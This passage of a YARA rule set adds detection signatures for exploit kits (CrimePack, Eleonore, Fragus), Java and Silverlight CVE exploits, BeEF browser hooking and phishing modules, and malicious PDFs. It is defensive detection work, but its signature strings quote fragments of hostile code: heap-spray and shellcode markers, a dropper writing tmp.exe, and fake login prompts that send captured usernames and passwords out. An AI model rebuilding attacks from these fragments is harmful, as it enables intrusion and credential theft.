+	author = "Josh Berry"
+	date = "2016-06-26"
+	description = "CrimePack Exploit Kit Detection"
+	hash0 = "40ed977adc009e1593afcb09d70888c4"
+	sample_filetype = "unknown"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = "payload.serPK"
+	$string1 = "vE/JD[j"
+	$string2 = "payload.ser["
+	$string3 = "Exploit$2.classPK"
+	$string4 = "Exploit$2.class"
+	$string5 = "Ho((i/"
+	$string6 = "META-INF/MANIFEST.MF"
+	$string7 = "H5641Yk"
+	$string8 = "Exploit$1.classPK"
+	$string9 = "Payloader.classPK"
+	$string10 = "%p6$MCS"
+	$string11 = "Exploit$1$1.classPK"
+condition:
+	11 of them
+}
+
+
+rule cve_2013_0074
+{
+meta:
+	author = "Kaspersky Lab"
+	filetype = "Win32 EXE"
+	date = "2015-07-23"
+	version = "1.0"
+
+strings:
+	$b2="Can't find Payload() address" ascii wide
+	$b3="/SilverApp1;component/App.xaml" ascii wide
+	$b4="Can't allocate ums after buf[]" ascii wide
+	$b5="------------ START ------------"
+
+condition:
+	( (2 of ($b*)) )
+}
+
+rule CVE_2013_0422
+{
+        meta:
+                description = "Java Applet JMX Remote Code Execution"
+                cve = "CVE-2013-0422"
+                ref = "http://pastebin.com/JVedyrCe"
+                author = "adnan.shukor@gmail.com"
+                date = "12-Jan-2013"
+                version = "1"
+                impact = 4
+                hide = false
+        strings:
+                $0422_1 = "com/sun/jmx/mbeanserver/JmxMBeanServer" fullword
+                $0422_2 = "com/sun/jmx/mbeanserver/JmxMBeanServerBuilder" fullword
+                $0422_3 = "com/sun/jmx/mbeanserver/MBeanInstantiator" fullword
+                $0422_4 = "findClass" fullword
+                $0422_5 = "publicLookup" fullword
+                $class = /sun\.org\.mozilla\.javascript\.internal\.(Context|GeneratedClassLoader)/ fullword 
+        condition:
+                (all of ($0422_*)) or (all of them)
+}
+
+rule eleonore_jar
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-26"
+	description = "Eleonore Exploit Kit Detection"
+	hash0 = "ad829f4315edf9c2611509f3720635d2"
+	sample_filetype = "unknown"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = "r.JM,IM"
+	$string1 = "dev/s/DyesyasZ.classPK"
+	$string2 = "k4kjRv"
+	$string3 = "dev/s/LoaderX.class}V[t"
+	$string4 = "dev/s/PK"
+	$string5 = "Hsz6%y"
+	$string6 = "META-INF/MANIFEST.MF"
+	$string7 = "dev/PK"
+	$string8 = "dev/s/AdgredY.class"
+	$string9 = "dev/s/DyesyasZ.class"
+	$string10 = "dev/s/LoaderX.classPK"
+	$string11 = "eS0L5d"
+	$string12 = "8E{4ON"
+condition:
+	12 of them
+}
+
+rule eleonore_jar2
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-26"
+	description = "Eleonore Exploit Kit Detection"
+	hash0 = "94e99de80c357d01e64abf7dc5bd0ebd"
+	sample_filetype = "unknown"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = "META-INF/MANIFEST.MFManifest-Version: 1.0"
+	$string1 = "wPVvVyz"
+	$string2 = "JavaFX.class"
+	$string3 = "{%D@'\\"
+	$string4 = "JavaFXColor.class"
+	$string5 = "bWxEBI}Y"
+	$string6 = "$(2}UoD"
+	$string7 = "j%4muR"
+	$string8 = "vqKBZi"
+	$string9 = "l6gs8;"
+	$string10 = "JavaFXTrueColor.classeSKo"
+	$string11 = "ZyYQx "
+	$string12 = "META-INF/"
+	$string13 = "JavaFX.classPK"
+	$string14 = ";Ie8{A"
+condition:
+	14 of them
+}
+
+rule eleonore_jar3
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-26"
+	description = "Eleonore Exploit Kit Detection"
+	hash0 = "f65f3b9b809ebf221e73502480ab6ea7"
+	sample_filetype = "unknown"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = "16lNYF2V"
+	$string1 = "META-INF/MANIFEST.MFPK"
+	$string2 = "ghsdr/Jewredd.classPK"
+	$string3 = "ghsdr/Gedsrdc.class"
+	$string4 = "e[<n55"
+	$string5 = "ghsdr/Gedsrdc.classPK"
+	$string6 = "META-INF/"
+	$string7 = "na}pyO"
+	$string8 = "9A1.F\\"
+	$string9 = "ghsdr/Kocer.class"
+	$string10 = "MXGXO8"
+	$string11 = "ghsdr/Kocer.classPK"
+	$string12 = "ghsdr/Jewredd.class"
+condition:
+	12 of them
+}
+
+rule eleonore_js
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-26"
+	description = "Eleonore Exploit Kit Detection"
+	hash0 = "08f8488f1122f2388a0fd65976b9becd"
+	sample_filetype = "js-html"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = "var de"
+	$string1 = "sdjk];"
+	$string2 = "return dfshk;"
+	$string3 = "function jkshdk(){"
+	$string4 = "'val';"
+	$string5 = "var sdjk"
+	$string6 = "return fsdjkl;"
+	$string7 = " window[d"
+	$string8 = "var fsdjkl"
+	$string9 = "function jklsdjfk() {"
+	$string10 = "function rewiry(yiyr,fjkhd){"
+	$string11 = " sdjd "
+condition:
+	11 of them
+}
+
+rule eleonore_js2
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-26"
+	description = "Eleonore Exploit Kit Detection"
+	hash0 = "2f5ace22e886972a8dccc6aa5deb1e79"
+	sample_filetype = "js-html"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = "var dfshk "
+	$string1 = "arrow_next_down"
+	$string2 = "return eval('yiyr.replac'"
+	$string3 = "arrow_next_over"
+	$string4 = "arrow_prev_over"
+	$string5 = "xcCSSWeekdayBlock"
+	$string6 = "xcCSSHeadBlock"
+	$string7 = "xcCSSDaySpecial"
+	$string8 = "xcCSSDay"
+	$string9 = " window[df "
+	$string10 = "day_special"
+	$string11 = "var df"
+	$string12 = "function jklsdjfk() {"
+	$string13 = " sdjd "
+	$string14 = "'e(/kljf hdfk sdf/g,fjkhd);');"
+	$string15 = "arrow_next"
+condition:
+	15 of them
+}
+
+rule eleonore_js3
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-26"
+	description = "Eleonore Exploit Kit Detection"
+	hash0 = "9dcb8cd8d4f418324f83d914ab4d4650"
+	sample_filetype = "js-html"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = "@mozilla.org/file/directory_service;1"
+	$string1 = "var exe "
+	$string2 = "var file "
+	$string3 = "foStream.write(data, data.length);"
+	$string4 = "  var file_data "
+	$string5 = "return "
+	$string6 = " Components.classes["
+	$string7 = "url : "
+	$string8 = "].createInstance(Components.interfaces.nsILocalFile);"
+	$string9 = "  var bstream "
+	$string10 = " bstream.readBytes(size); "
+	$string11 = "@mozilla.org/supports-string;1"
+	$string12 = "  var channel "
+	$string13 = "tmp.exe"
+	$string14 = "  if (channel instanceof Components.interfaces.nsIHttpChannel "
+	$string15 = "@mozilla.org/network/io-service;1"
+	$string16 = " bstream.available()) { "
+	$string17 = "].getService(Components.interfaces.nsIIOService); "
+condition:
+	17 of them
+}
+
+rule fragus_htm
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-26"
+	description = "Fragus Exploit Kit Detection"
+	hash0 = "f76deec07a61b4276acc22beef41ea47"
+	sample_filetype = "js-html"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = ">Hello, "
+	$string1 = "http://www.clantemplates.com"
+	$string2 = "this template was created by Bl1nk and is downloadable at <B>ClanTemplates.com<BR></B>Replace "
+	$string3 = "></TD></TR></TABLE> "
+	$string4 = "Image21"
+	$string5 = "scrollbar etc.<BR><BR>Enjoy, Bl1nk</FONT></TD></TR></TABLE><BR></CENTER></TD></TR> "
+	$string6 = "to this WarCraft Template"
+	$string7 = " document.getElementById) x"
+	$string8 = "    if (a[i].indexOf("
+	$string9 = "x.oSrc;"
+	$string10 = "x.src; x.src"
+	$string11 = "<HTML>"
+	$string12 = "FFFFFF"
+	$string13 = " CELLSPACING"
+	$string14 = "images/layoutnormal_03.gif"
+	$string15 = "<TR> <TD "
+	$string16 = " CELLPADDING"
+condition:
+	16 of them
+}
+
+rule fragus_js
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-26"
+	description = "Fragus Exploit Kit Detection"
+	hash0 = "f234c11b5da9a782cb1e554f520a66cf"
+	sample_filetype = "js-html"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = "));ELI6Q3PZ"
+	$string1 = "VGhNU2pWQmMyUXhPSFI2TTNCVGVEUXpSR3huYm1aeE5UaFhXRFI0ZFhCQVMxWkRNVGh0V0hZNFZVYzBXWFJpTVRoVFpFUklaVGxG"
+	$string2 = "eFgweDNaek5YZDFkaWFtTlhZbDlmV2tGa09Va3pSMlEyT0dwSFFIQlZRblpEYzBKRWNFeGZOVmx6V0RSU1JEYzJjRlY0TVY5SFkw"
+	$string3 = "TkhXa0ZrT1haNGRFSXhRM3BrTkRoVGMxZEJSMmcyT0dwNlkzSTJYM1pCYkZnMVVqQmpWMEZIYURZNGFucGpjalpmZGtGc1dERXpT"
+	$string4 = "byKZKkpZU<<18"
+	$string5 = ");CUer0x"
+	$string6 = "bzWRebpU3yE>>16"
+	$string7 = "RUJEWlVvMGNsVTVNMEpNWDNaNGJVSkpPRUJrUlVwRVQwQlNaR2cyY0ZWSE5GbDBRVFZ5UjFnMk9HVldOWGhMYUdFelRIZG5NMWQz"
+	$string8 = "WnZSVGxuT1ZSRkwwaFZSelZGUm5GRlJFVTBLVHQ0UWxKQ1drdzBiWEJ5WkhSdVBtdG9XVWd6TVVGSGFFeDVTMlk3ZUVKU1FscE1O"
+	$string9 = "QmZjMGN4YjBCd1oyOXBURUJJZEhvMFdYcGtOamhFV1ZwU01GVlZZbXBpUUZKV1lqTXpWMDAwY0dSNlF6aE1SekZ5ZEc4ME9FeEtN"
+	$string10 = "SCpMaWXOuME("
+	$string11 = "VjJKcVkxZGlYMTlhUVdRNVNUTkhaRFk0YWpsYWJsWkRNVGh0V0hZNFZVYzBXWFJ2Tm5CVmFEUlpWVmhDT0ZWV05YaDBRa1ZTUkUw"
+	$string12 = "2;}else{Yuii37DWU"
+	$string13 = "ELI6Q3PZ"
+	$string14 = "ZUhNNVZYQlZlRFY0UUZnMk9HMVlORkpFYkRsNGMxbEpPRUJSTVY5SGNETllPRXB0YjBsaloySnhPVVZ3UkZWQVgzTllORGgwV0RS"
+	$string15 = "S05GbE1lalk0Vm1ORmVEWnpXbEpXZDBWaU5ubzJjRlkzVjFsbFgwVmlURlpuYnpCUE5HNTBhRFpaVEZrMVFYTjZObkIwWTBVNE4x"
+	$string16 = "Vm5CWFFVZG9OamhxZW1OeU5sOTJRV3hZTVROSlpEWTRVM294V1VSUFFFdFdZalE0WlVjeGNsSmtObmhBYURVNFZVZEFjRlZDZGtO"
+	$string17 = "Yuii37DWU<<12"
+	$string18 = ";while(hdnR9eo3pZ6E3<ZZeD3LjJQ.length){eMImGB"
+condition:
+	18 of them
+}
+
+rule fragus_js2
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-26"
+	description = "Fragus Exploit Kit Detection"
+	hash0 = "f234c11b5da9a782cb1e554f520a66cf"
+	sample_filetype = "js-html"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = "(ELI6Q3PZ"
+	$string1 = "SnJTbVJqV2tOa09VbGZSMHcwY0ZWZmRrRjBjRFY0Y3psVmNGVjROWGhBV0RZNGJWZzBVa1J4TjNCVlgwVmlhRjkyZURaS1NWOUhj"
+	$string2 = "eFgweDNaek5YZDFkaWFtTlhZbDlmV2tGa09Va3pSMlEyT0dwSFFIQlZRblpEYzBKRWNFeGZOVmx6V0RSU1JEYzJjRlY0TVY5SFkw"
+	$string3 = "VUpKUVdWS05ISlZjMXBTTUdWRlNFQmpaMjlrVDBCTFYzY3pZbGRpZG5oeldFUndkSE16YjB4M2JXSnFZMWRpZVY4ellreDNaMko1"
+	$string4 = "((Yuii37DWU"
+	$string5 = "YURVNFZXUlhjRlZDZGxsQVJ6UlNaRTlBUzFkM00ySlhiekU0ZEhnMWNrUjZZM0kyWDNaQmJGZ3hNMGxrTmpoVGVqRlpkSEUyV1dW"
+	$string6 = "String.fromCharCode(ZZeD3LjJQ);}else if(QIyZsvvbEmVOpp"
+	$string7 = "1);ELI6Q3PZ"
+	$string8 = "));Yuii37DWU"
+	$string9 = ");CUer0x"
+	$string10 = "T1ZaQ05IUkRTVGhqT1VWd1ZWOUpRMlZLZG5oNlQwQkxWM2N6WWxkQmRrRkFPVmR3VlRsYWJsWnNOWGhKT1ZkeFZWazFRbEU1UlZK"
+	$string11 = "TlpkM2wxS3lzcExUUTRYU2s4UEhocFVqRk9jazA3SUdsbUtIaHBVakZPY2swcGV5QkdWek5NVnlzOVVrSklWVE0wVDJ0NlpTZzJP"
+	$string12 = "String.fromCharCode(((eMImGB"
+	$string13 = "RGRDUkV0WFV6VkJkRkV4WHpCalYwRkhhRFk0YW5wamNqWmZka0ZzV0RaSWExZzBXWEZDUlZsQVpEWkJOMEoyZUhwd1duSlRXVE5J"
+	$string14 = "SCpMaWXOuME(mi1mm8bu87rL0W);eval(Pcii3iVk1AG);</script></body></html>"
+	$string15 = "Yuii37DWU"
+	$string16 = "Yuii37DWU<<12"
+	$string17 = "eTVzWlc1bmRHZ3NJRWhWUnpWRlJuRkZSRVUwUFRFd01qUXNJR2hQVlZsRVJFVmxVaXdnZUVKU1FscE1ORzF3Y21SMGJpd2dSbGN6"
+condition:
+	17 of them
+}
+
+rule fragus_js_flash
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-26"
+	description = "Fragus Exploit Kit Detection"
+	hash0 = "377431417b34de8592afecaea9aab95d"
+	sample_filetype = "js-html"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = "document.appendChild(bdy);try{for (i"
+	$string1 = "0; i<10; i"
+	$string2 = "default"
+	$string3 = "var m "
+	$string4 = "/g, document.getElementById('divid').innerHTML));"
+	$string5 = " n.substring(0,r/2);"
+	$string6 = "document.getElementById('f').innerHTML"
+	$string7 = "'atk' onclick"
+	$string8 = "function MAKEHEAP()"
+	$string9 = "document.createElement('div');"
+	$string10 = "<button id"
+	$string11 = "/g, document.getElementById('divid').innerHTML);"
+	$string12 = "document.body.appendChild(gg);"
+	$string13 = "var bdy "
+	$string14 = "var gg"
+	$string15 = " unescape(gg);while(n.length<r/2) { n"
+condition:
+	15 of them
+}
+
+rule fragus_js_java
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-26"
+	description = "Fragus Exploit Kit Detection"
+	hash0 = "7398e435e68a2fa31607518befef30fb"
+	sample_filetype = "js-html"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = "I></XML><SPAN DATASRC"
+	$string1 = "setTimeout('vparivatel()',8000);function vparivatel(){document.write('<iframe src"
+	$string2 = "I DATAFLD"
+	$string3 = " unescape("
+	$string4 = ", 1);swf.setAttribute("
+	$string5 = "function XMLNEW(){var spray "
+	$string6 = "vparivatel.php"
+	$string7 = "6) ){if ( (lv"
+	$string8 = "'WIN 9,0,16,0')"
+	$string9 = "d:/Program Files/Outlook Express/WAB.EXE"
+	$string10 = "<XML ID"
+	$string11 = "new ActiveXObject("
+	$string12 = "'7.1.0') ){SHOWPDF('iepdf.php"
+	$string13 = "function SWF(){try{sv"
+	$string14 = "'WIN 9,0,28,0')"
+	$string15 = "C DATAFORMATAS"
+	$string16 = " shellcode;xmlcode "
+	$string17 = "function SNAPSHOT(){var a"
+condition:
+	17 of them
+}
+
+rule fragus_js_quicktime
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-26"
+	description = "Fragus Exploit Kit Detection"
+	hash0 = "6bfc7bb877e1a79be24bd9563c768ffd"
+	sample_filetype = "js-html"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = "                setTimeout("
+	$string1 = "wnd.location"
+	$string2 = "window;"
+	$string3 = "        var pls "
+	$string4 = "        mem_flag "
+	$string5 = ", 1500);} else{ PRyyt4O3wvgz(1);}"
+	$string6 = "         } catch(e) { }"
+	$string7 = " mem_flag) JP7RXLyEu();"
+	$string8 = " 0x400000;"
+	$string9 = "----------------------------------------------------------------------------------------------------"
+	$string10 = "        heapBlocks "
+	$string11 = "        return mm;"
+	$string12 = "0x38);"
+	$string13 = "        h();"
+	$string14 = " getb(b,bSize);"
+	$string15 = "getfile.php"
+condition:
+	15 of them
+}
+
+rule fragus_js_vml
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-26"
+	description = "Fragus Exploit Kit Detection"
+	hash0 = "8ab72337c815e0505fcfbc97686c3562"
+	sample_filetype = "js-html"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = " 0x100000;"
+	$string1 = "            var gg "
+	$string2 = "/g, document.getElementById('divid').innerHTML));"
+	$string3 = "                                var sss "
+	//$string4 = "                }"
+	$string5 = "                        document.body.appendChild(obj);"
+	$string6 = "                                var hbs "
+	$string7 = " shcode; }"
+	$string8 = " '<div id"
+	$string9 = " hbs - (shcode.length"
+	$string10 = "){ m[i] "
+	$string11 = " unescape(gg);"
+	$string12 = "                                var z "
+	$string13 = "                                var hb "
+	$string14 = " Math.ceil('0'"
+condition:
+	14 of them
+}
+
+rule generic_javascript_obfuscation
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-28"
+	description = "JavaScript Obfuscation Detection"
+	sample_filetype = "js-html"
+strings:
+	$string0 = /eval\(([\s]+)?(unescape|atob)\(/ nocase
+	$string1 = /var([\s]+)?([a-zA-Z_$])+([a-zA-Z0-9_$]+)?([\s]+)?=([\s]+)?\[([\s]+)?\"\\x[0-9a-fA-F]+/ nocase
+	$string2 = /var([\s]+)?([a-zA-Z_$])+([a-zA-Z0-9_$]+)?([\s]+)?=([\s]+)?eval;/
+condition:
+	any of them
+}
+/*
+fff slows down scanning
+rule possible_includes_base64_packed_functions  
+{ 
+	meta: 
+		impact = 5 
+		hide = true 
+		desc = "Detects possible includes and packed functions" 
+	strings: 
+		$f = /(atob|btoa|;base64|base64,)/ nocase
+		//$ff = /(?:[A-Za-z0-9]{4}){2,}(?:[A-Za-z0-9]{2}[AEIMQUYcgkosw048]=|[A-Za-z0-9][AQgw]==)/ nocase 
+		$fff = /([A-Za-z0-9]{4})*([A-Za-z0-9]{2}==|[A-Za-z0-9]{3}=|[A-Za-z0-9]{4})/ 
+	condition: 
+		$f and $fff
+} 
+*/
+rule BeEF_browser_hooked {
+	meta:
+		description = "Yara rule related to hook.js, BeEF Browser hooking capability"
+		author = "Pasquale Stirparo"
+		date = "2015-10-07"
+		hash1 = "587e611f49baf63097ad2421ad0299b7b8403169ec22456fb6286abf051228db"
+	strings:
+		$s0 = "mitb.poisonAnchor" wide ascii
+		$s1 = "this.request(this.httpproto" wide ascii
+		$s2 = "beef.logger.get_dom_identifier" wide ascii
+		$s3 = "return (!!window.opera" wide ascii 
+		$s4 = "history.pushState({ Be:\"EF\" }" wide ascii 
+		$s5 = "window.navigator.userAgent.match(/Opera\\/9\\.80.*Version\\/10\\./)" wide ascii 
+		$s6 = "window.navigator.userAgent.match(/Opera\\/9\\.80.*Version\\/11\\./)" wide ascii 
+		$s7 = "window.navigator.userAgent.match(/Avant TriCore/)" wide ascii 
+		$s8 = "window.navigator.userAgent.match(/Iceweasel" wide ascii 
+		$s9 = "mitb.sniff(" wide ascii 
+		$s10 = "Method XMLHttpRequest.open override" wide ascii 
+		$s11 = ".browser.hasWebSocket" wide ascii 
+		$s12 = ".mitb.poisonForm" wide ascii 
+		$s13 = "resolved=require.resolve(file,cwd||" wide ascii 
+		$s14 = "if (document.domain == domain.replace(/(\\r\\n|\\n|\\r)/gm" wide ascii 
+		$s15 = "beef.net.request" wide ascii 
+		$s16 = "uagent.search(engineOpera)" wide ascii 
+		$s17 = "mitb.sniff" wide ascii
+		$s18 = "beef.logger.start" wide ascii
+	condition:
+		all of them
+}
+
+rule src_ptheft_command {
+	meta:
+		description = "Auto-generated rule - file command.js"
+		author = "Pasquale Stirparo"
+		reference = "not set"
+		date = "2015-10-08"
+		hash = "49c0e5400068924ff87729d9e1fece19acbfbd628d085f8df47b21519051b7f3"
+	strings:
+		$s0 = "var lilogo = 'http://content.linkedin.com/etc/designs/linkedin/katy/global/clientlibs/img/logo.png';" fullword wide ascii /* score: '38.00' */
+		$s1 = "dark=document.getElementById('darkenScreenObject'); " fullword wide ascii /* score: '21.00' */
+		$s2 = "beef.execute(function() {" fullword wide ascii /* score: '21.00' */
+		$s3 = "var logo  = 'http://www.youtube.com/yt/brand/media/image/yt-brand-standard-logo-630px.png';" fullword wide ascii /* score: '32.42' */
+		$s4 = "description.text('Enter your Apple ID e-mail address and password');" fullword wide ascii /* score: '28.00' */
+		$s5 = "sneakydiv.innerHTML= '<div id=\"edge\" '+edgeborder+'><div id=\"window_container\" '+windowborder+ '><div id=\"title_bar\" ' +ti" wide ascii /* score: '28.00' */
+		$s6 = "var logo  = 'https://www.yammer.com/favicon.ico';" fullword wide ascii /* score: '27.42' */
+		$s7 = "beef.net.send('<%= @command_url %>', <%= @command_id %>, 'answer='+answer);" fullword wide ascii /* score: '26.00' */
+		$s8 = "var title = 'Session Timed Out <img src=\"' + lilogo + '\" align=right height=20 width=70 alt=\"LinkedIn\">';" fullword wide ascii /* score: '24.00' */
+		$s9 = "var title = 'Session Timed Out <img src=\"' + logo + '\" align=right height=20 width=70 alt=\"YouTube\">';" fullword wide ascii /* score: '24.00' */
+		$s10 = "var title = 'Session Timed Out <img src=\"' + logo + '\" align=right height=24 width=24 alt=\"Yammer\">';" fullword wide ascii /* score: '24.00' */
+		$s11 = "var logobox = 'style=\"border:4px #84ACDD solid;border-radius:7px;height:45px;width:45px;background:#ffffff\"';" fullword wide ascii /* score: '21.00' */
+		$s12 = "sneakydiv.innerHTML= '<br><img src=\\''+imgr+'\\' width=\\'80px\\' height\\'80px\\' /><h2>Your session has timed out!</h2><p>For" wide ascii /* score: '23.00' */
+		$s13 = "inner.append(title, description, user,password);" fullword wide ascii /* score: '23.00' */
+		$s14 = "sneakydiv.innerHTML= '<div id=\"window_container\" '+windowborder+ '><div id=\"windowmain\" ' +windowmain+ '><div id=\"title_bar" wide ascii /* score: '23.00' */
+		$s15 = "sneakydiv.innerHTML= '<div id=\"window_container\" '+windowborder+ '><div id=\"windowmain\" ' +windowmain+ '><div id=\"title_bar" wide ascii /* score: '23.00' */
+		$s16 = "answer = document.getElementById('uname').value+':'+document.getElementById('pass').value;" fullword wide ascii /* score: '22.00' */
+		$s17 = "password.keydown(function(event) {" fullword wide ascii /* score: '21.01' */
+	condition:
+		13 of them
+}
+
+
+rule malicious_author : PDF
+{
+	meta:
+		author = "Glenn Edwards (@hiddenillusion)"
+		version = "0.1"
+		weight = 5
+		
+	strings:
+		$magic = { 25 50 44 46 }
+		
+		$reg0 = /Creator.?\(yen vaw\)/
+		$reg1 = /Title.?\(who cis\)/
+		$reg2 = /Author.?\(ser pes\)/
+	condition:
+		$magic at 0 and all of ($reg*)
+}
+
+rule suspicious_version : PDF
+{
+	meta:
+		author = "Glenn Edwards (@hiddenillusion)"
+		version = "0.1"
+		weight = 3
+		
+	strings:
+		$magic = { 25 50 44 46 }
+		$ver = /%PDF-1.\d{1}/
+	condition:
+		$magic at 0 and not $ver
+}
+
+rule suspicious_creation : PDF
+{
+	meta:
+		author = "Glenn Edwards (@hiddenillusion)"
+		version = "0.1"
+		weight = 2
+		
+	strings:
+		$magic = { 25 50 44 46 }
+		$header = /%PDF-1\.(3|4|6)/
+		
+		$create0 = /CreationDate \(D:20101015142358\)/
+		$create1 = /CreationDate \(2008312053854\)/
+	condition:
+		$magic at 0 and $header and 1 of ($create*)
+}
+
+rule suspicious_title : PDF
+{
+	meta:
+		author = "Glenn Edwards (@hiddenillusion)"
+		version = "0.1"
+		weight = 4
+		
+	strings:
+		$magic = { 25 50 44 46 }
+		$header = /%PDF-1\.(3|4|6)/
+		
+		$title0 = "who cis"
+		$title1 = "P66N7FF"
+		$title2 = "Fohcirya"
+	condition:
+		$magic at 0 and $header and 1 of ($title*)
+}
+
+rule suspicious_author : PDF
+{
+	meta:
+		author = "Glenn Edwards (@hiddenillusion)"
+		version = "0.1"
+		weight = 4
+		
+	strings:
+		$magic = { 25 50 44 46 }
+		$header = /%PDF-1\.(3|4|6)/
+
+		$author0 = "Ubzg1QUbzuzgUbRjvcUb14RjUb1"
+		$author1 = "ser pes"
+		$author2 = "Miekiemoes"
+		$author3 = "Nsarkolke"
+	condition:
+		$magic at 0 and $header and 1 of ($author*)
+}
+
+rule suspicious_producer : PDF
+{
+	meta:
+		author = "Glenn Edwards (@hiddenillusion)"
+		version = "0.1"
+		weight = 2
+		
+	strings:
+		$magic = { 25 50 44 46 }
+		$header = /%PDF-1\.(3|4|6)/
+		
+		$producer0 = /Producer \(Scribus PDF Library/
+		$producer1 = "Notepad"
+	condition:
+		$magic at 0 and $header and 1 of ($producer*)
+}
+
+rule suspicious_creator : PDF
+{
+	meta:
+		author = "Glenn Edwards (@hiddenillusion)"
+		version = "0.1"
+		weight = 3
+		
+	strings:
+		$magic = { 25 50 44 46 }
+		$header = /%PDF-1\.(3|4|6)/
+		
+		$creator0 = "yen vaw"
+		$creator1 = "Scribus"
+		$creator2 = "Viraciregavi"
+	condition:
+		$magic at 0 and $header and 1 of ($creator*)
+}
+
+//shell slows down scanning
+rule possible_exploit : PDF
+{
+	meta:
+		author = "Glenn Edwards (@hiddenillusion)"
+		version = "0.1"
+		weight = 3
+		
+	strings:
+		$magic = { 25 50 44 46 }
+		
+		$attrib0 = /\/JavaScript /
+		$attrib3 = /\/ASCIIHexDecode/
+		$attrib4 = /\/ASCII85Decode/
+
+		$action0 = /\/Action/
+		$action1 = "Array"
+		//$shell = "A"
+		$cond0 = "unescape"
+		$cond1 = "String.fromCharCode"
+		
+		$nop = "%u9090%u9090"
+	condition:
+		$magic at 0 and (2 of ($attrib*)) or ($action0 /*and #shell > 10*/ and 1 of ($cond*)) or ($action1 and $cond0 and $nop)
+}
+/*
+rule shellcode_blob_metadata : PDF
+{
+        meta:
+                author = "Glenn Edwards (@hiddenillusion)"
+                version = "0.1"
+                description = "When there's a large Base64 blob inserted into metadata fields it often indicates shellcode to later be decoded"
+                weight = 4
+        strings:
+                $magic = { 25 50 44 46 }
+
+                $reg_keyword = /\/Keywords.?\(([a-zA-Z0-9]{200,})/ //~6k was observed in BHEHv2 PDF exploits holding the shellcode
+                $reg_author = /\/Author.?\(([a-zA-Z0-9]{200,})/
+                $reg_title = /\/Title.?\(([a-zA-Z0-9]{200,})/
+                $reg_producer = /\/Producer.?\(([a-zA-Z0-9]{200,})/
+                $reg_creator = /\/Creator.?\(([a-zA-Z0-9]{300,})/
+                $reg_create = /\/CreationDate.?\(([a-zA-Z0-9]{200,})/
+
+        condition:
+                $magic at 0 and 1 of ($reg*)
+}
+*/
+/*
+rule multiple_filtering : PDF 
+{
+        meta: 
+                author = "Glenn Edwards (@hiddenillusion)"
+                version = "0.2"
+                weight = 3
+                
+        strings:
+                $magic = { 25 50 44 46 }
+                $attrib = /\/Filter.*?(\/ASCIIHexDecode\W+|\/LZWDecode\W+|\/ASCII85Decode\W+|\/FlateDecode\W+|\/RunLengthDecode){2}/           
+				// left out: /CCITTFaxDecode, JBIG2Decode, DCTDecode, JPXDecode, Crypt
+
+        condition: 
+                $magic at 0 and $attrib
+}
+*/
+
+
+rule suspicious_js : PDF
+{
+	meta:
+		author = "Glenn Edwards (@hiddenillusion)"
+		version = "0.1"
+		weight = 3
+		
+	strings:
+		$magic = { 25 50 44 46 }
+		
+		$attrib0 = /\/OpenAction /
+		$attrib1 = /\/JavaScript /
+
+		$js0 = "eval"
+		$js1 = "Array"
+		$js2 = "String.fromCharCode"
+		
+	condition:
+		$magic at 0 and all of ($attrib*) and 2 of ($js*)
+}
+
+rule suspicious_launch_action : PDF
+{
+	meta:
+		author = "Glenn Edwards (@hiddenillusion)"
+		version = "0.1"
+		weight = 2
+		
+	strings:
+		$magic = { 25 50 44 46 }
+		
+		$attrib0 = /\/Launch/
+		$attrib1 = /\/URL /
+		$attrib2 = /\/Action/
+		$attrib3 = /\/F /
+
+	condition:
+		$magic at 0 and 3 of ($attrib*)
+}
+
+rule suspicious_embed : PDF
+{
+	meta:
+		author = "Glenn Edwards (@hiddenillusion)"
+		version = "0.1"
+		ref = "https://feliam.wordpress.com/2010/01/13/generic-pdf-exploit-hider-embedpdf-py-and-goodbye-av-detection-012010/"
+		weight = 2
+		
+	strings:
+		$magic = { 25 50 44 46 }
+		
+		$meth0 = /\/Launch/
+		$meth1 = /\/GoTo(E|R)/ //means go to embedded or remote
+		$attrib0 = /\/URL /
+		$attrib1 = /\/Action/
+		$attrib2 = /\/Filespec/
+		
+	condition:
+		$magic at 0 and 1 of ($meth*) and 2 of ($attrib*)
+}
+/*
+rule suspicious_obfuscation : PDF
+{
+	meta:
+		author = "Glenn Edwards (@hiddenillusion)"
+		version = "0.1"
+		weight = 2
+		
+	strings:
+		$magic = { 25 50 44 46 }
+		$reg = /\/\w#[a-zA-Z0-9]{2}#[a-zA-Z0-9]{2}/
+		
+	condition:
+		$magic at 0 and #reg > 5
+}
+*/
+rule invalid_XObject_js : PDF
+{
+	meta:
+		author = "Glenn Edwards (@hiddenillusion)"
+		description = "XObject's require v1.4+"
